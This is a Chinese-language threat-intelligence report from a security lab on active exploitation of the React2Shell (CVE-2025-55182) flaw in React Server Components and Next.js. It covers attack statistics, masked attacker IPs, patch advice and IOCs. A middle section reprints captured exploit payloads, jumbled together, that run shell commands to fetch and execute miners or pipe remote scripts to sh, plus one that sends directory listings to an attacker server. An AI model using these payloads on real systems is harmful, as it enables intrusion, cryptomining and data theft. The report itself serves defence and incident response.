原创 积极防御实验室 2025-12-20 08:00 湖北
根据创宇安全智脑监测,近期披露的React2shell漏洞正在被积极利用。
作者:知道创宇积极防御实验室
1. 背景
根据创宇安全智脑监测,近期披露的React2shell漏洞正在被积极利用。React 是一个用于构建用户界面的 JavaScript 库,其中React Server Components(RSC)中的 react-server 相关包(如 react-server-dom-webpack 等),该组件由于在处理 Flight 协议数据时存在不安全的反序列化,攻击者可通过构造恶意请求,在未认证的情况下触发远程代码执行(RCE),Next.js依赖该组件,默认配置下即可被利用。
创宇安全智脑漏洞响应时间线:
- 2025年12月03日:监测到CVE-2025-55182、CVE-2025-66478(被撤销)漏洞披露
- 2025年12月04日05时:监测到漏洞PoC披露
- 2025年12月04日06时:创宇盾捕获第一条漏洞利用攻击行为
2. React2shell 漏洞攻击统计
据创宇安全智脑数据显示,12月4日-12月17日共捕获到利用该漏洞的攻击共760,386次。React2Shell攻击在12月11日(漏洞爆发第8天)大规模上升且在12月12日达到顶峰。 近期攻击趋势如下图所示:
据攻击来源国家分布可以看出,攻击前三的国家分布为德国、中国和美国。其中德国攻击次数最多,占到总攻击量的86.5%。
创宇安全智脑监测到的近期最具威胁性的10个IP地址如下:
| IP地址 | 地理位置 | 攻击次数 |
|---|---|---|
192.**.**.230 |
德国 黑森州 美因河畔法兰克福 | 7888 |
192.**.**.40 |
德国 黑森州 美因河畔法兰克福 | 7781 |
192.**.**.193 |
德国 黑森州 美因河畔法兰克福 | 7738 |
192.**.**.235 |
德国 黑森州 美因河畔法兰克福 | 7691 |
192.**.**.32 |
德国 黑森州 美因河畔法兰克福 | 7680 |
192.**.**.36 |
德国 黑森州 美因河畔法兰克福 | 7631 |
192.**.**.238 |
德国 黑森州 美因河畔法兰克福 | 7586 |
172.**.**.155 |
德国 黑森州 美因河畔法兰克福 | 6427 |
172.**.**.29 |
德国 黑森州 美因河畔法兰克福 | 6314 |
172.**.**.5 |
德国 黑森州 美因河畔法兰克福 | 6184 |
从攻击 IP TOP 10 的分布情况可以看出,攻击流量主要集中在192.**. **.0/24 和 172. **.**.0/24 两个IP段,该攻击行为具有明显的自动化、批量扫描特征。
根据创宇安全智脑对上述IP查询结果显示,这些 IP 的活跃时段与漏洞公开时间高度重叠,表明攻击者为该漏洞的针对性利用方,在漏洞披露后迅速开展扫描、验证及攻击行为,具有明显的跟踪漏洞情报并快速武器化利用的特征。
IP:192. **.**.230
192.**.**.230创宇智脑查询
IP:192.**.**.32
192.**.**.32创宇智脑查询
IP:172.**.**.29
172.**.**.29创宇智脑查询
在2025年12月4日我们发现一个特殊的探测,其User-Agent特征为Mozilla/5.0 (Security-Audit; CVE-2025-55182-Scanner)。携带该User-Agent头的流量在2025年12月4日初期发送的请求body为”[]”,后期PoC被公开后,Body中才出现了有效Payload。 经过创宇安全智脑分析,具备该特征的流量均来源于https://github.com/fatguru/CVE-2025-55182-scanner/ 扫描器。追溯该工具的提交记录,发现该工具第一次提交时Payload是一个”[]”,该特征与实际攻击特征相符。
3. 典型利用代码分析和解读
分析 Payload 中出现的行为特征,攻击者主要存在以下三类目的:
1、漏洞扫描与验证:
攻击者使用了echo、whoami、uname等命令进行漏洞扫描与验证。这些命令具备不易被安全防护设备拦截的特性,能够方便攻击者在实施实质性攻击前确认目标系统的脆弱性真实性。
2、收集目录及系统信息:
攻击者对目标服务器的运行环境进行探测,收集了系统及目录结构等信息,并将相关结果传回至远程服务器。该操作可用于判断服务器权限和利用价值,为后续持续攻击或进一步渗透提供支持。
3、下载挖矿程序并在后台执行:
攻击者从远程服务器下载恶意脚本或可执行程序,并赋予执行权限后在后台运行。经分析该类程序通常为挖矿木马,会持续占用服务器计算与网络资源,同时通过后台运行方式降低被发现的风险。
对捕获到的多组 Payload 内容进行分析,可以明确判断攻击者通过React2Shell(原型污染 → RCE)利用链获取服务端命令执行能力,其行为具有明显的自动化投放与长期控制目的。
通过对捕获到的包含外部请求行为的攻击代码进行分析,可以确认攻击者在成功触发漏洞后,依次实施了以下攻击步骤:
1、攻击者利用系统中常见工具(如 curl、wget 等),从远程服务器将恶意程序或脚本下载至本地,以减少对额外环境依赖并提高攻击成功率;
2、在文件下载完成后,通过修改文件权限,使恶意程序具备可执行条件,避免因权限不足导致执行失败;
3、随后直接执行恶意程序,部分情况下会以后台方式运行,以实现持续运行或进一步加载其他恶意组件。
{"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{\"then\":\"$B1337\"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;busybox wget
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').exec('wget
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('if command -v curl >/dev/null; then curl -fsSL
{\x0a\x09"then": "$1:__proto__:then",\x0a\x09"status": "resolved_model",\x0a\x09"reason": -1,\x0a\x09"value": "{\"then\":\"$B1337\"}",\x0a\x09"_response": {\x0a\x09\x09"_prefix": "process.mainModule.require('child_process').execSync('wget -O -
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('if command -v curl >/dev/null; then curl -fsSL
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('wget -O /tmp/nginx3
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').exec('if [ -f /usr/bin/curl ];then curl
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('(echo \"=== URL:
http://193...150/nuts/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q http://193. ..150/nuts/bolts -O-|sh)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest: ${res} });","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}http://103...239:8000/java&&chmod +x java&&./java');","_formData":{"get":"$1:constructor:constructor"}}}https://zf.tmis.cc/am64 -o am64; else wget -q https://zf.****.cc/am64 -O am64; fi && chmod +x am64 && nohup ./am64 >/dev/null 2>&1 & if command -v curl >/dev/null; then curl -fsSL https://zf.****.cc/e386 -o e386; else wget -q https://zf.****.cc/e386 -O e386; fi && chmod +x e386 && nohup ./e386 >/dev/null 2>&1 &').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=********,"_formData":{"get":"$1:constructor:constructor"}}}[http://128.**.**.97:9001/setup2.sh](http://128.**.**.97:9001/setup2.sh) | bash');",\x0a\x09\x09"_chunks": "$Q2",\x0a\x09\x09"_formData": {\x0a\x09\x09\x09"get": "$1:constructor:constructor"\x0a\x09\x09}\x0a\x09}\x0a}[https://github.com/AxiaoXe/shell1/releases/download/123/e386](https://github.com/AxiaoXe/shell1/releases/download/123/e386) -o e386; else wget -q [https://github.com/AxiaoXe/shell1/releases/download/123/e386](https://github.com/AxiaoXe/shell1/releases/download/123/e386) -O e386; fi && chmod +x e386 && nohup ./e386 >/dev/null 2>&1 & if command -v curl >/dev/null; then curl -fsSL [https://github.com/AxiaoXe/shell1/releases/download/123/am64](https://github.com/AxiaoXe/shell1/releases/download/123/am64) -o am64; else wget -q [https://github.com/AxiaoXe/shell1/releases/download/123/am64](https://github.com/AxiaoXe/shell1/releases/download/123/am64) -O am64; fi && chmod +x am64 && nohup ./am64 >/dev/null 2>&1 &').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest:NEXT_REDIRECT;push;/login?a=*,"_formData":{"get":"$1:constructor:constructor"}}}http://res.**.top/nginx1;chmod 777 /tmp/nginx3;/tmp/nginx3');", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}http://141...103:45178/test.sh | sh;else wget -qO- http://141...103:45178/test.sh | sh;fi;').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=*,"_formData":{"get":"$1:constructor:constructor"}}}http://bbs.kanxue.com ===\"; echo \"=== FILE: ls -a ===\"; ls -a 2>/dev/null || echo \"[LS FAILED]\") | wget --post-data=\"$(cat -)\" -O- http://195...131:8001');", "_formData": {"get": "$1:constructor:constructor"}}}
从捕获的 Payload 特征分析来看,攻击者在成功获得命令执行能力后,执行行为具有明显的自动化入侵和恶意投放特征。其核心操作集中在通过 wget 或 curl 从外部服务器下载脚本或二进制文件,覆盖多种系统架构(如 x86、x64、ARM),并在赋予执行权限后立即运行,部分进程通过后台方式启动以实现持续驻留。
此外,部分命令通过管道直接执行远程脚本,或将本地执行结果回传至攻击者控制的服务器,用于确认入侵状态和主机信息。
整体行为目的明确,主要用于快速控制受害主机、部署挖矿程序或建立后门通道。
4. 防护建议
1、根据 Next.js 官方发布的补丁版本线,升级到对应安全版本:15.x 升级到≥ 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7,16.x升级到≥ 16.0.7,升级命令:npm install next@latest。
2、升级到 React 官方发布的已修复版本(19.x 修复补丁版本);
3、如需紧急防护,请接入创宇盾(https://defense.yunaq.com/cyd/);
4、如需漏洞检测验证,请使用ScanV(https://www.scanv.com/);
5、ZoomEye互联网攻击面管理平台(https://easm.zoomeye.org/easm/)已支持该漏洞检测。
5. 附录:IOC
截至报告编写日,创宇安全智脑共捕获到恶意IP 2870个,以下是部分IOC数据:
1f0a1fb69d15421e3cb9b3d8d1ca6448
a00b85bee1768f1da52c72c8c0246c84
a750df20793e0eb3f95ddaaa23690b9e
cd70aae059394a6990b81ec42a9d0079
83f9a3b82b523a6ac7ff563cda668784
zf.****.cc
res.********.top
193.**.**.150
103.**.**.239
128.**.**.97
204.**.**.40
141.**.**.103
195.**.**.131
100.**.**.153
100.**.**.213
101.**.**.229
101.**.**.216
103.**.**.6
103.**.**.76
103.**.**.114
103.**.**.10
103.**.**.13
103.**.**.8
103.**.**.9
103.**.**.54
103.**.**.158
103.**.**.100
103.**.**.253
103.**.**.235
104.**.**.247
104.**.**.62
104.**.**.75
104.**.**.149
104.**.**.5
104.**.**.185
104.**.**.35
104.**.**.60
104.**.**.87
106.**.**.225
106.**.**.88
107.**.**.76
107.**.**.10
109.**.**.45
109.**.**.68
111.**.**.177
111.**.**.186
111.**.**.187
111.**.**.188
111.**.**.75
111.**.**.216
111.**.**.218
111.**.**.51
111.**.**.52
111.**.**.62
112.**.**.125
112.**.**.65
112.**.**.7
112.**.**.146
113.**.**.255
114.**.**.50
115.**.**.234
115.**.**.235
115.**.**.236
116.**.**.183
116.**.**.78
117.**.**.236
117.**.**.185
117.**.**.102
117.**.**.14
117.**.**.145
117.**.**.162
117.**.**.163
117.**.**.168
117.**.**.223
117.**.**.224
117.**.**.228
117.**.**.229
117.**.**.32
117.**.**.38
117.**.**.39
118.**.**.202
118.**.**.31
120.**.**.126
120.**.**.163
120.**.**.185
120.**.**.186
120.**.**.29
120.**.**.39
120.**.**.40
120.**.**.41
120.**.**.48
120.**.**.49
120.**.**.57
120.**.**.58
121.**.**.234
122.**.**.174
122.**.**.194
123.**.**.240
123.**.**.121
往 期 热 门
(点击图片跳转)
戳“阅读原文”更多精彩内容!